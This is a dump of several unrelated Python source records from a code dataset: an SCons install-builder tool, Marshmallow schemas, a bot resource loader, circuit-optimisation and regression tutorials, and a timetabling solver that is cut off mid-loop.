env[ALIAS_MAP][env[META_COMPONENT]][env[META_ROLE]]\n        list_hierarchical_aib_recursive(mapping)\n\n    return target_lister\n\n\ndef list_recursive(mapping) -> List[str]:\n    items = set()\n    items.add(mapping.id)\n    for dep in mapping.dependencies:\n        items |= list_recursive(dep)\n    return items\n\n\ndef list_targets():\n    def target_lister(env, **kwargs):\n        mapping = env[ALIAS_MAP][env[META_COMPONENT]][env[META_ROLE]]\n        tasks = sorted(list(env[TASKS].keys()))\n        roles = sorted(list(env[ROLE_DECLARATIONS].keys()))\n        targets_with_role = list(list_recursive(mapping)) + [mapping.id]\n        targets: List[str] = []\n        for target_role in targets_with_role:\n            # Does this target_role end with one of our speicifed roles\n            matching_roles = list(filter(target_role.endswith, [f\"-{role}\" for role in roles]))\n            assert len(matching_roles) == 1\n\n            targets.append(target_role[:-len(matching_roles[0])])\n\n        # dedup and sort targets\n        targets = sorted(list(set(targets)))\n        print(\n            \"The following are AIB targets. Note that runtime role is implied if not specified. For example, install-mongod\"\n        )\n        tasks_str = ','.join(tasks)\n        print(f\"TASK={{{tasks_str}}}\")\n        roles_str = ','.join(roles)\n        print(f\"ROLE={{{roles_str}}}\")\n        for target in targets:\n            print(f\"  TASK-{target}-ROLE\")\n\n    return target_lister\n\n\ndef get_role_declaration(env, role):\n    return env[ROLE_DECLARATIONS][role]\n\n\ndef exists(_env):\n    \"\"\"Always activate this tool.\"\"\"\n    return True\n\n\ndef generate(env):\n    \"\"\"Generate the auto install builders.\"\"\"\n    env[\"AUTO_INSTALL_ENABLED\"] = True\n\n    # Matches the autoconf documentation:\n    # https://www.gnu.org/prep/standards/html_node/Directory-Variables.html\n    env[\"DESTDIR\"] = env.Dir(env.get(\"DESTDIR\", \"#install\"))\n    env[\"PREFIX\"] = env.get(\"PREFIX\", \".\")\n    env[\"PREFIX_BINDIR\"] = env.get(\"PREFIX_BINDIR\", \"$PREFIX/bin\")\n    env[\"PREFIX_LIBDIR\"] = env.get(\"PREFIX_LIBDIR\", \"$PREFIX/lib\")\n    env[\"PREFIX_SHAREDIR\"] = env.get(\"PREFIX_SHAREDIR\", \"$PREFIX/share\")\n    env[\"PREFIX_DOCDIR\"] = env.get(\"PREFIX_DOCDIR\", \"$PREFIX_SHAREDIR/doc\")\n    env[\"PREFIX_INCLUDEDIR\"] = env.get(\"PREFIX_INCLUDEDIR\", \"$PREFIX/include\")\n    env[SUFFIX_MAP] = {}\n    env[ALIAS_MAP] = defaultdict(dict)\n\n    env.AppendUnique(AIB_TASKS={\n        \"install\": auto_install_task,\n    })\n\n    env.AddMethod(\n        scan_for_transitive_install_pseudobuilder,\n        \"GetTransitivelyInstalledFiles\",\n    )\n    env.AddMethod(get_role_declaration, \"GetRoleDeclaration\")\n    env.AddMethod(get_auto_installed_files, \"GetAutoInstalledFiles\")\n    env.AddMethod(tag_components, \"TagComponents\")\n    env.AddMethod(auto_install_pseudobuilder, \"AutoInstall\")\n    env.AddMethod(add_suffix_mapping, \"AddSuffixMapping\")\n    env.AddMethod(declare_role, \"Role\")\n    env.AddMethod(declare_roles, \"DeclareRoles\")\n    env.AddMethod(finalize_install_dependencies, \"FinalizeInstallDependencies\")\n    env.AddMethod(suffix_mapping, \"SuffixMap\")\n    env.Tool(\"install\")\n\n    # TODO: we should probably expose these as PseudoBuilders and let\n    # users define their own aliases for them.\n    env.Alias(\"list-aib-components\", [], [list_components])\n    env.AlwaysBuild(\"list-aib-components\")\n\n    env.Alias(\"list-hierarchical-aib-targets\", [], [list_hierarchical_aib_targets(dag_mode=False)])\n    env.AlwaysBuild(\"list-hierarchical-aib-targets\")\n\n    env.Alias(\"list-hierarchical-aib-dag\", [], [list_hierarchical_aib_targets(dag_mode=True)])\n    env.AlwaysBuild(\"list-hierarchical-aib-dag\")\n\n    env.Alias(\"list-targets\", [], [list_targets()])\n    env.AlwaysBuild(\"list-targets\")\n\n    for builder in [\"Program\", \"SharedLibrary\", \"LoadableModule\", \"StaticLibrary\"]:\n        builder = env[\"BUILDERS\"][builder]\n        base_emitter = builder.emitter\n        # TODO: investigate if using a ListEmitter here can cause\n        # problems if AIB is not loaded last\n        new_emitter = SCons.Builder.ListEmitter([base_emitter, auto_install_emitter])\n        builder.emitter = new_emitter\n\n    base_install_builder = install.BaseInstallBuilder\n    assert base_install_builder.target_scanner is None\n\n    base_install_builder.target_scanner = SCons.Scanner.Scanner(\n        function=scan_for_transitive_install,\n        path_function=None,\n    )\n","repo_name":"mongodb/mongo","sub_path":"site_scons/site_tools/auto_install_binaries.py","file_name":"auto_install_binaries.py","file_ext":"py","file_size_in_byte":23540,"program_lang":"python","lang":"en","doc_type":"code","stars":24670,"dataset":"github-code","pt":"36"}
{"seq_id":"11025711009","text":"\ndef row2dict(row, fields: set=set()):\n    d = {}\n    for column in row.__table__.columns:\n        if column.name in fields:\n            d[column.name] = str(getattr(row, column.name))\n    return d\n\n\ndef rows2dict(rows, fields: set=set()):\n    arr = []\n    for row in rows:\n        arr.append(row2dict(row, fields))\n    return arr\n\n\nclass ResponseWrapper:\n    @staticmethod\n    def ok(message: str='success', data: object=None):\n        result = dict()\n        result['message'] = message\n        result['data'] = data\n        return result\n","repo_name":"akahard2dj/Blackberry","sub_path":"app/api/v1/common/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"2918605081","text":"from io import BytesIO\r\nfrom typing import Optional, Union\r\nfrom pathlib import Path\r\n\r\nfrom PIL import Image\r\nimport aiohttp\r\n\r\nfrom hoshino import MessageSegment\r\n\r\n\r\nfrom hoshino import res_dir\r\nfrom hoshino.util.sutil import get_random_file, anti_harmony as anti_harmony_img\r\n\r\n\r\nclass ResImg:\r\n    def __init__(self, abs_path: Union[str, Path]):\r\n        if isinstance(abs_path, str):\r\n            abs_path = Path(abs_path)\r\n        #if not abs_path.is_relative_to(res_dir):\r\n            #raise ValueError('Cannot access outside RESOUCE_DIR')\r\n        self._path = abs_path\r\n\r\n    @property\r\n    def path(self):\r\n        \"\"\"资源文件的路径，供bot内部使用\"\"\"\r\n        return self._path\r\n\r\n    @property\r\n    def cqcode(self) -> MessageSegment:\r\n        with open(self.path, 'rb') as f:\r\n            b = f.read()\r\n        return MessageSegment.image(file=b)\r\n        #return MessageSegment.image(f'file:///{os.path.abspath(self.path)}')\r\n\r\n    @property\r\n    def url(self) -> str:\r\n        return self.path.as_uri()\r\n\r\n    def open(self) -> Image.Image:\r\n        try:\r\n            return Image.open(self.path)\r\n        except FileNotFoundError:\r\n            print(f'缺少图片资源：{self.path}')\r\n            raise\r\n\r\nclass ResRec:\r\n    def __init__(self, abs_path: Union[str, Path]):\r\n        if isinstance(abs_path, str):\r\n            abs_path = Path(abs_path)\r\n        #if not abs_path.is_relative_to(res_dir):\r\n            #raise ValueError('Cannot access outside RESOUCE_DIR')\r\n        self._path = abs_path\r\n\r\n    @property\r\n    def path(self):\r\n        \"\"\"资源文件的路径，供bot内部使用\"\"\"\r\n        return self._path\r\n\r\n    @property\r\n    def cqcode(self) -> MessageSegment:\r\n        with open(self.path, 'rb') as f:\r\n            b = f.read()\r\n        return MessageSegment.record(file=b)\r\n\r\n    @property\r\n    def url(self) -> str:\r\n        return self.path.as_uri()\r\n\r\nclass Res:\r\n    \"\"\"\r\n    Res资源封装类\r\n    img 和 image 代表的分别为ResImg和 MessageSegment 对象\r\n    img用于图像操作， image用于发送\r\n    \"\"\"\r\n    base_dir = Path(res_dir)\r\n    image_dir = base_dir.joinpath('image')\r\n    record_dir = base_dir.joinpath('record')\r\n\r\n    if not image_dir.exists():\r\n        image_dir.mkdir()\r\n\r\n    if not record_dir.exists():\r\n        record_dir.mkdir()\r\n\r\n    @classmethod\r\n    def img(cls, p: Union[str, Path]) -> ResImg:\r\n        if isinstance(p, str):\r\n            p = Path(p)\r\n        if p.exists():\r\n            return ResImg(p)\r\n        elif cls.image_dir.joinpath(p).exists():\r\n            return ResImg(cls.image_dir.joinpath(p))\r\n        else:\r\n            raise ValueError('file not found')\r\n\r\n    @classmethod\r\n    def image(cls, p: Union[str, Path], anti_harmony: bool=False) -> MessageSegment:\r\n        \"\"\"\r\n        将资源转换为可发送的图片\r\n        params: \r\n        p: 资源路径\r\n        anti_harmony: 是否启用图片反和谐\r\n        \"\"\"\r\n        img = cls.img(p).open()\r\n        if anti_harmony:\r\n            img = anti_harmony_img(img)\r\n        return cls.image_from_memory(img)\r\n\r\n\r\n    @classmethod\r\n    def record(cls, p: Union[str, Path]) -> MessageSegment:\r\n        if isinstance(p, str):\r\n            p = Path(p)\r\n        if p.exists():\r\n            return ResRec(p).cqcode\r\n        elif cls.record_dir.joinpath(p).exists():\r\n            return ResRec(cls.record_dir.joinpath(p)).cqcode\r\n        else:\r\n            raise ValueError('file not found')\r\n\r\n    @classmethod\r\n    def get_random_img(cls, folder: Union[str, Path]) -> ResImg:\r\n        \"\"\"\r\n        随机获取一个给定路径下的img， 以res_dir为基准目录\r\n        \"\"\"\r\n        image_path = cls.base_dir.joinpath(folder)\r\n        image_name = get_random_file(image_path)\r\n        return cls.img(image_path.joinpath(image_name))\r\n\r\n    @classmethod\r\n    def get_random_record(cls, folder=None) -> MessageSegment:\r\n        \"\"\"\r\n        随机获取一个给定路径下的record， 以res_dir为基准目录\r\n        \"\"\"\r\n        record_path = cls.base_dir.joinpath(folder)\r\n        rec_name = get_random_file(record_path)\r\n        return cls.record(record_path.joinpath(rec_name))\r\n\r\n    @classmethod\r\n    def image_from_memory(cls, data: Union[bytes, Image.Image]) -> MessageSegment:\r\n        if isinstance(data, Image.Image):\r\n            out = BytesIO()  \r\n            data.save(out, format='png')\r\n            data = out.getvalue()\r\n        if not isinstance(data, bytes):\r\n            raise ValueError(f'不支持的参数类型 {type(data)}')\r\n        return MessageSegment.image(file=data, cache=False)\r\n\r\n    @classmethod\r\n    async def image_from_url(cls, url: str, anti_harmony: bool=False, timeout=30) -> MessageSegment:\r\n        \"\"\"\r\n        download the image from url and return a MessageSegment in base64\r\n        should be used in async function\r\n        params: \r\n        url: image url\r\n        anti_harmony: bool = False 是否启用图片反和谐\r\n        \"\"\"\r\n        timeout = aiohttp.ClientTimeout(total=timeout)\r\n        async with aiohttp.ClientSession(timeout=timeout) as session:\r\n            async with session.get(url) as resp:\r\n                if resp.status != 200:\r\n                    raise ValueError(f'请求失败 {resp.status}')\r\n                data = await resp.read()\r\n        if anti_harmony:\r\n            data = anti_harmony_img(Image.open(BytesIO(data)))\r\n        return cls.image_from_memory(data)\r\n\r\n","repo_name":"shewinder/shebot_nb2","sub_path":"hoshino/sres.py","file_name":"sres.py","file_ext":"py","file_size_in_byte":5430,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"}
{"seq_id":"20589658992","text":"# This script shows the netlist database for the Inverter Database Using the new version of spectreIOlib\n# Example for EE536B tutorial\n# Qiaochu Zhang, from Mike Chen's Mixed-Signal Group, Ming Hsieh Dept. of ECE, USC\n# 03/12/2020\n\n#==================================================================\n#*****************  Loading the libraries  ************************\n#==================================================================\n\nimport sys\n#sys.path.insert(0,'/shares/MLLibs/GlobalLibrary')\nimport os\nhome_address  = os.getcwd()\n#sys.path.insert(0, home_address+'/MLLibs/GlobalLibrary')\nsys.path.insert(0,'/home/mohsen/PYTHON_PHD/GlobalLibrary')\n#download GlobalLibrary from GitHub, and change the path accordingly\n#from Netlist_Database import Folded_Cascode_spice, ClassAB_spice\n\nfrom tensorflow_circuit import TF_DEFAULT, make_var, np_elu\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport time\nimport math\nimport tensorflow as tf\n\nfrom scipy.io import savemat\nfrom pickle import dump\n\n\n\n#==================================================================\n#*******************  Initialization  *****************************\n#==================================================================\n\ntedad = 5 \n# number of parameter candidates you will see in the end. This number will control the number of \n# gradient descent which will be performed.\n\n#==================================================================\n#****************  Loading the Regressors  ************************\n#==================================================================\n\n\n# Define the class of an Inverter\nclass INV(TF_DEFAULT): #change the name of the class to the name of your module\n\n    def __init__(self,tech=65):\n\n        self.tech=tech\n        self.default_loading()\n        \n    def default_loading(self):\n        if self.tech==65: # change the path of the regression files\n            drive       = home_address+'/reg_files/tb_inv'\n            sx_f        = drive + '/scX_tb_inv.pkl'\n            sy_f        = drive + '/scY_tb_inv.pkl'    \n            w_f         = drive + '/w8_tb_inv.p'\n            self.w_json = drive + '/model_tb_inv.json'\n            self.w_h5   = drive + '/reg_tb_inv.h5'\n\n            self.minx  = np.array([100e-9,100e-9 ])# parameter lower bound\n            self.maxx  = np.array([1000e-9,1000e-9 ])# parameter upper bound\n            self.stppar  = np.array([100e-9,100e-9])# sampling step\n        \n        self.loading(sx_f,sy_f,w_f)\n    \n\n#==================================================================\n#*****************  Building the graph  ***************************\n#==================================================================\ndef graph_tf(sxin,INV): \n# sxin: scaled input parameters, INV: name of the class; and you should include all\n# the names of the modules inside the parenthesis\n\n    sx_INV = sxin[:,0:2] # define input parameters for INV\n    print(sx_INV)\n    x_INV  = INV.tf_rescalex(sx_INV) #rescale input parameters back to real value\n    sy_INV = INV.tf_reg_relu(sx_INV) # calculate y = f(x)\n    y_INV  = INV.tf_rescaley(sy_INV) #rescale output metrics back to real value\n    print(y_INV)\n    \n\n    #==================================================================\n    #***************  Define constraints and Cost(P)  *****************\n    #==================================================================\n\n    delay = y_INV #define metrics of your neural network\n\n# use the metrics of all the modules to calculate top level specs, and store them in an array    \n    specs = []\n    specs.append((delay-3e-12))\n    specs.append(tf.reshape(tf.reduce_sum(x_INV),[1,1]))\n\n# use the specs to construct constraints\n    constraints = []    \n    constraints.append((tf.nn.relu(specs[0])/INV.scYscale[0])*100)\n    constraints.append(tf.abs(specs[1]))\n    \n# You can define different loss functions based on different combinations of constraints\n    hardcost=constraints[0]\n    usercost=tf.reduce_sum(constraints)\n        \n    return hardcost,usercost,specs,[x_INV],[y_INV],[delay],constraints\n\n#==================================================================\n#*********************  Main code  ********************************\n#==================================================================\n\nif __name__ == '__main__':\n      \n    #==================================================================\n    #*****************  Building the graph  ***************************\n    #==================================================================\n    tf.compat.v1.disable_eager_execution()\n    #----------Initialize----------\n    tf.compat.v1.reset_default_graph()\n    \n    # Define to optimizers. You can change the values in the parenthesis, which is the learning rate\n    optimizer1 = tf.compat.v1.train.AdamOptimizer(0.001)\n    optimizer2 = tf.compat.v1.train.AdamOptimizer(0.001)\n    \n    #----------load regressors----------\n    \n    # Define an object in class INV\n    inv = INV()\n    # Initialize all design parameters. We use random initialization in this case. We have in total 2 design parameters, 1 module here\n    sxin = make_var(\"INV\",\"INV\", (1,2), tf.random_uniform_initializer(-np.ones((1,2)),np.ones((1,2))))\n    #==================================================================\n    #********************  Tensorflow Initiation  *********************\n    #==================================================================    \n    hardcost,usercost,tf_specs,tf_param,tf_metric,tf_mid, tf_const = graph_tf(sxin,inv)\n    \n    # Optimizer1 will minimize hardcost, and optimizer 2 will minimize usercost. Both are defined previously.\n    opt1=optimizer1.minimize(hardcost)\n    opt2=optimizer2.minimize(usercost)\n    init=tf.compat.v1.global_variables_initializer()\n    \n    calc=1\n\n    \n    lastvalue=-1000000\n    lst_params=[]\n    lst_metrics=[]\n    lst_specs=[]\n    lst_value=[]\n    lst_midvalues=[]\n\n    for j in range(tedad):\n        const=[]\n        with tf.compat.v1.Session() as sess:\n            sess.run(init)\n            #==================================================================\n            #*****************  Tensorflow Gradient Descent  ******************\n            #==================================================================\n            tstart=time.time()\n            for i in range(100): # the value in the parenthesis is the total steps of gradient descent that optimizer 1 will perform. You can change to another value.\n                try:\n                    _,value,smallspecs,last_const = sess.run([opt1,hardcost,tf_specs,tf_const])                \n                except:\n                    print('Terminated due to error!')\n                    break\n                \n                print('Optimizer1 = %1.0f:, %1.0f : %1.3f \\n'%(j, i, value))\n                const.append(smallspecs)\n                if math.isnan(value):\n                    break\n                if np.abs(lastvalue-value)<epsilon:\n                    break\n                else:\n                    lastvalue=value\n                \n            for i in range(100):# the value in the parenthesis is the total steps of gradient descent that optimizer 2 will perform. You can change to another value.\n                try:\n                    _,value,smallspecs,last_const = sess.run([opt2,hardcost,tf_specs,tf_const])                \n                except:\n                    print('Terminated due to error!')\n                    break                  \n                print('Optimizer2 = %1.0f:, %1.0f : %1.3f \\n'%(j, i, value))\n                const.append(smallspecs)\n                \n                \n                if math.isnan(value):\n                    break\n                if np.abs(lastvalue-value)<epsilon:\n                    break\n                else:\n                    lastvalue=value\n                    \n            #==================================================================\n            #**********************  Saving the values  ***********************\n            #==================================================================    \n            print('%1.0f : %1.3f \\n'%(i, value))\n            tend=time.time()\n            np_sxin = sess.run(sxin)\n            parameters = sess.run(tf_param)\n            metrics    = sess.run(tf_metric)\n            midvalues  = sess.run(tf_mid)\n          \n\n#            print('user1: %1.2f, user2: %1.2f, user3: %1.2f, user4: %1.2f, user5: %1.2f\\n' %(sess.run(user1),sess.run(user2),sess.run(user3),sess.run(user4),sess.run(user5)))\n            print('the elapsed time %1.2f S\\n' %(tend-tstart))\n        \n        const_np=np.array(const)\n        lst_params.append(parameters)\n        lst_metrics.append(metrics)\n        lst_specs.append(const[-1])\n        lst_value.append(value)\n        lst_midvalues.append(midvalues)\n        \n        mydict= {'lst_params':lst_params,'lst_metrics':lst_metrics,'lst_specs':lst_specs,'lst_value':lst_value}\n        dump( mydict, open( 'regsearch_results1_'+str(cload)+'.p', \"wb\" ) )\n#        savemat('regsearch_constraints.mat',{'const_np':const_np})\n    \n        \n#        sp_value,_,sp_specs,sp_params,sp_metrics,sp_mids,sp_const= graph_spice(np_sxin,folded_cascode,classab,folded_cascode_spice,classab_spice)\n\n        \n\n","repo_name":"USCPOSH/AMPSE","sub_path":"Tutorial/EE536B_tutorial/workarea_POSH/RO_ee536b/AMPSE_graphs.py","file_name":"AMPSE_graphs.py","file_ext":"py","file_size_in_byte":9239,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"36"}
{"seq_id":"71335350503","text":"# Simple linear Reg\n# Importing the libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n# Importing the dataset\ndataset = pd.read_csv('Salary_Data.csv')\nX = dataset.iloc[:, :-1].values\ny = dataset.iloc[:, 1].values\n\n# Splitting the dataset into the Training set and Test set\nfrom sklearn.cross_validation import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 1/3, random_state = 0)\n\n# Feature Scaling\n#No feat scal in simpl reg, lib auto takes care \n\"\"\"from sklearn.preprocessing import StandardScaler\nsc_X = StandardScaler()\nX_train = sc_X.fit_transform(X_train)\nX_test = sc_X.transform(X_test)\nsc_y = StandardScaler()\ny_train = sc_y.fit_transform(y_train)\"\"\"\n\n#Fitting simple linear reg in training set\nfrom sklearn.linear_model import LinearRegression\nregressor = LinearRegression()\nregressor.fit(X_train, y_train)\n\n#Prediciting test se results\ny_pred = regressor.predict(X_test)\n\n#Visualizing training set results\nplt.scatter(X_train, y_train, color = 'red')\nplt.plot(X_train, regressor.predict(X_train), color='blue') #forming a predicted line using the training examples\nplt.title('sal vs exp(train set)')\nplt.xlabel('years of exp')\nplt.ylabel('sal')\nplt.show()\n\n#visualizing test set result\nplt.scatter(X_test, y_test, color = 'red')\nplt.plot(X_train, regressor.predict(X_train), color='blue') #same as of line 35, coz we are forming the hypothesis using training data\nplt.title('sal vs exp(tesr set)')\nplt.xlabel('years of exp')\nplt.ylabel('sal')\nplt.show()","repo_name":"architjen/Traditional-ML-in-Python","sub_path":"Regression techniques/SImple Linear Regression/My_simple_linear_reg.py","file_name":"My_simple_linear_reg.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"324274996","text":"from app import ma\n\nfrom app.models import *\n\nfrom marshmallow import fields\n\n\nclass UserSchema(ma.TableSchema):\n    class Meta:\n        table = User.__table__\n        \n    #requests = fields.Nested('RequestSchema',  many=True, only=[\"id\", \"transactions\", \"other\", \"credit\", \"status\"])\n    #audits = fields.Nested('AuditLogSchema',  many=True, only=[\"id\", \"target_type\", \"target_id\", \"state_before\", \"state_after\"])\n    \n\nclass OtherSchema(ma.TableSchema):\n    class Meta:\n        table = Other.__table__\n        \n    requests = fields.Nested('RequestSchema',  many=True, only=[\"id\", \"user\", \"transactions\", \"credit\", \"status\"])\n\n\nclass CatalogSchema(ma.TableSchema):\n    class Meta:\n        table = Catalog.__table__\n\n\nclass RequestResponseSchema(ma.TableSchema):\n    class Meta:\n        table = RequestResponse.__table__\n    user = fields.Nested('UserSchema', only=[\"id\", \"email\", \"fullname\", \"role\"])\n    request = fields.Nested('RequestSchema', only=[\"id\", \"user\", \"other\", \"credit\", \"status\"])\n\n\nclass RequestSchema(ma.TableSchema):\n    class Meta:\n        table = Request.__table__\n    user_id = fields.Int()\n    other_id = fields.Int()\n    \n    responses = fields.Nested(\"RequestResponseSchema\", many=True, only=[\"id\", \"action\", \"comment\", \"user\"])\n    transactions = fields.Nested(\"TransactionSchema\", many=True, only=[\"id\", \"stock\", \"amount\"])\n    user = fields.Nested('UserSchema', only=[\"id\", \"email\", \"fullname\", \"role\"])\n    other = fields.Nested('OtherSchema', only=[\"id\", \"fullname\", \"phone\", \"staff\"])\n    store = fields.Nested('StoreSchema')\n\n\nclass TransactionSchema(ma.TableSchema):\n    class Meta:\n        table = Transaction.__table__\n    request_id = fields.Int()\n    \n    stock = fields.Nested('StockSchema', only=[\"id\", \"catalog\", \"amount\", \"store\"])\n    request = fields.Nested('RequestSchema', only=[\"id\", \"user\", \"other\", \"credit\", \"status\"])\n    store = fields.Nested('StoreSchema')\n\n\nclass StockReportSchema(ma.TableSchema):\n    class Meta:\n        table = StockReport.__table__\n    stock_id = fields.Int()\n\n\nclass AuditLogSchema(ma.TableSchema):\n    class Meta:\n        table = AuditLog.__table__\n    user_id = fields.Int()\n    action = fields.String()\n    \n    user = fields.Nested('UserSchema', only=[\"id\", \"email\", \"fullname\", \"role\"])\n\n\nclass StockSchema(ma.TableSchema):\n    class Meta:\n        table = Stock.__table__\n    catalog_id = fields.Int()\n    store_id = fields.Int()\n\n    catalog = fields.Nested('StockSchema', only=[\"id\", \"name\", \"description\", \"unit\"])\n    store = fields.Nested('StoreSchema')\n\n\nclass StoreSchema(ma.TableSchema):\n    class Meta:\n        table = Store.__table__\n\n\nclass StoreTransferSchema(ma.TableSchema):\n    class Meta:\n        table = StoreTransfer.__table__\n\n    sent_by = fields.Nested('UserSchema', only=[\"id\", \"email\", \"fullname\", \"role\"])\n    received_by = fields.Nested('UserSchema', only=[\"id\", \"email\", \"fullname\", \"role\"])\n    approved_by = fields.Nested('UserSchema', only=[\"id\", \"email\", \"fullname\", \"role\"])\n\n    from_store = fields.Nested('StoreSchema')\n    to_store = fields.Nested('StoreSchema')\n\n\nclass TransferItemSchema(ma.TableSchema):\n    class Meta:\n        table = TransferItem.__table__\n\n    store_transfer = fields.Nested('StoreTransferSchema')\n    stock = fields.Nested('StockSchema', only=[\"id\", \"catalog\", \"amount\", \"store\"])\n    other_stock = fields.Nested('StockSchema', only=[\"id\", \"catalog\", \"amount\", \"store\"])\n\n\nclass HoldItemSchema(ma.TableSchema):\n    class Meta:\n        table = HoldItem.__table__\n\n    store = fields.Nested('StoreSchema')\n    stock = fields.Nested('StockSchema', only=[\"id\", \"catalog\", \"amount\"])\n\n\n","repo_name":"Dsthdragon/turbo_inventory_api","sub_path":"app/schemas.py","file_name":"schemas.py","file_ext":"py","file_size_in_byte":3621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"20390112204","text":"import xml_to_od\nfrom _ectt_to_od import ectt_data\nfrom Models.instance import instance\nfrom _objective_function import objective_function\nfrom _initial_solution import initial_solution\nfrom _roulette_wheel_selection import roulette_wheel_selection\nfrom _simulated_annealing import simulated_annealing\nfrom _operators_lookup import operators_lookup\nimport random\nimport math\nimport copy\nimport time\nfrom Experiments.parameters import parameters\nfrom Experiments.configs import configs\nfrom Experiments.statistics import statistics\nimport uuid\n\nclass alns:\n\n    def __init__(self):\n\n        # Get data from instance file\n        if configs.instance_type == 1:\n            raw_data = xml_to_od.xml_data()\n        else:\n            raw_data = ectt_data()\n\n        self.instance_data = instance(raw_data)\n\n        #  It turns out that the usage of different percentages depending on the instance size is beneficial,\n        #  i.e., ds is used for small instances with less than 280 lectures and dl for larger instances.\n        if self.instance_data.total_lectures <= 280:\n            self.destroy_permille = parameters.ds\n        else:\n            self.destroy_permille = parameters.dl\n\n\n    # main function to find solution of CB-CTT instance using ALNS\n    def find_optimal_solution(self, solution, Uc):\n        # reset statistics value\n        statistics_instance = statistics()\n        statistics_instance.reset()\n\n        obj_func_instance = objective_function(\"UD2\", self.instance_data)\n\n        current_best = solution\n    \n        # Calculate cost/objective function of current solution\n        current_cost, courses_penalties, curricula_penalties = obj_func_instance.cost(solution)\n\n        avg_cost = current_cost / self.instance_data.total_lectures\n        unassigned_lectures_cost = max(float(1), float(avg_cost))\n        current_cost += unassigned_lectures_cost * len(Uc)\n\n        global_best = current_best\n        global_best_cost = current_cost\n        global_best_has_uc = len(Uc) > 0\n\n        if global_best_cost == 0:\n            return global_best, global_best_cost\n\n        #  The reference destroy limit nmax 0 is set to d percent of the total number of lectures.\n        # calculate upper bound for events to be destoryed\n        destroy_upper_bound = self.instance_data.total_lectures * self.destroy_permille\n        iteration = 0\n        no_best_found_count = 0\n        # destroy limit based on iterations since limit -> limit increased after reheat\n        iterations_since_reheat = 0\n        remaining_iterations = parameters.iteration_limit\n        ref_iter_limit = parameters.iteration_limit\n\n        time_start = time.time()\n    \n        SA = simulated_annealing(current_cost)\n\n        while (time.time() - time_start) < parameters.time_limit:\n            deviation_ref_iter = (remaining_iterations + iterations_since_reheat) - ref_iter_limit\n            destroy_decrease_power = math.log((parameters.destroy_decrease - 1) * destroy_upper_bound / parameters.destroy_decrease) \\\n                                     / math.log(ref_iter_limit + deviation_ref_iter)\n            iteration += 1\n            iterations_since_reheat += 1\n            statistics.iterations += 1\n            print(\"Iteration: \", iteration)\n            remaining_iterations = parameters.iteration_limit - ((time.time()-time_start)/parameters.time_limit) * parameters.iteration_limit\n            print(\"Remaining Iterations: \", remaining_iterations)\n            # -------------------------------------------------------------------------------------------------------------------- #\n            removal_operators_probabilities = roulette_wheel_selection.get_probability_list(operators_lookup.removal_operators_weights)\n            # print(\"Removal Operators Probabilities: \", removal_operators_probabilities)\n            removal_operator_index = roulette_wheel_selection.spin_roulettewheel(removal_operators_probabilities)\n\n            repair_operators_probabilities = roulette_wheel_selection.get_probability_list(operators_lookup.repair_operators_weights)\n            # print(\"Repair Operators Probabilities: \", repair_operators_probabilities)\n\n            # GA algorithm in our case it is designed in that way\n            # that it will always expect that there is always at least on feasible spot for every unscheduled lecture\n            # under the assumption that the unscheduled lectures were removed from a feasibile schedule\n            # hence, if we have unfeasible solution we need to handle it with 2 stage repair operator instead\n            print(\"Uc: \", Uc)\n            if Uc:\n                repair_operator_index = 0\n            else:\n                repair_operator_index = roulette_wheel_selection.spin_roulettewheel(repair_operators_probabilities)\n\n            lecture_period_operators_probabilities = roulette_wheel_selection.get_probability_list(operators_lookup.lecture_period_operators_weights)\n            # print(\"Lecture-Period Operators Probabilities: \", lecture_period_operators_probabilities)\n            lecture_period_operator_index = roulette_wheel_selection.spin_roulettewheel(lecture_period_operators_probabilities)\n            if lecture_period_operator_index == 0:\n                statistics.two_stage_best_count += 1\n            elif lecture_period_operator_index == 1:\n                statistics.two_stage_mean_count += 1\n\n            lecture_room_operators_probabilities = roulette_wheel_selection.get_probability_list(operators_lookup.lecture_room_operators_weights)\n            # print(\"Lecture-Room Operators Probabilities: \", lecture_period_operators_probabilities)\n            lecture_room_operator_index = roulette_wheel_selection.spin_roulettewheel(lecture_room_operators_probabilities)\n            if lecture_period_operator_index == 0:\n                statistics.two_stage_greatest_count += 1\n            elif lecture_period_operator_index == 1:\n                statistics.two_stage_match_count += 1\n\n            priority_rules_probabilities = roulette_wheel_selection.get_probability_list(operators_lookup.priority_rules_weights)\n            # print(\"Priority Rules Probabilities: \", lecture_period_operators_probabilities)\n            priority_rule_index = roulette_wheel_selection.spin_roulettewheel(priority_rules_probabilities)\n            if lecture_period_operator_index == 0:\n                statistics.saturation_degree_count += 1\n            elif lecture_period_operator_index == 1:\n                statistics.largest_degree_count += 1\n            else:\n                statistics.random_order_count += 1\n\n            # -------------------------------------------------------------------------------------------------------------------- #\n            # number of events to be destroyed (lectures to remove) in this iteration\n            destroy_limit = min(self.instance_data.total_lectures - len(Uc), parameters.min_destroy_lectures +\n                                (random.randrange(max(parameters.min_destroy_lectures, round(destroy_upper_bound) - round(math.pow(iterations_since_reheat, destroy_decrease_power))))))\n\n            # Find neighbor solution by applying destruction/repair operator to the current solution\n            solution_clone = copy.deepcopy(solution)\n            new_sol, Uc = self.neighbor(solution_clone, destroy_limit,\n                                    removal_operator_index, repair_operator_index, lecture_period_operator_index, lecture_room_operator_index, priority_rule_index,\n                                    courses_penalties, curricula_penalties, Uc)\n\n            print(\"Uc: \", Uc)\n            if new_sol is not None:\n                # Calculate the new solution's cost\n                new_cost, courses_penalties, curricula_penalties = obj_func_instance.cost(new_sol)\n                # print(\"New solution cost: \", new_cost)\n\n                if statistics.time_feasible == 0 and len(Uc) == 0:\n                    statistics.iteration_feasible = iteration\n                    statistics.time_feasible = time.time() - time_start\n\n                temp_cost = new_cost + len(Uc) * unassigned_lectures_cost\n                # The acceptance probability function takes in the old cost, new cost, and current temperature\n                # and spits out a number between 0 and 1, which is a sort of recommendation on whether or not to jump to the new solution.\n                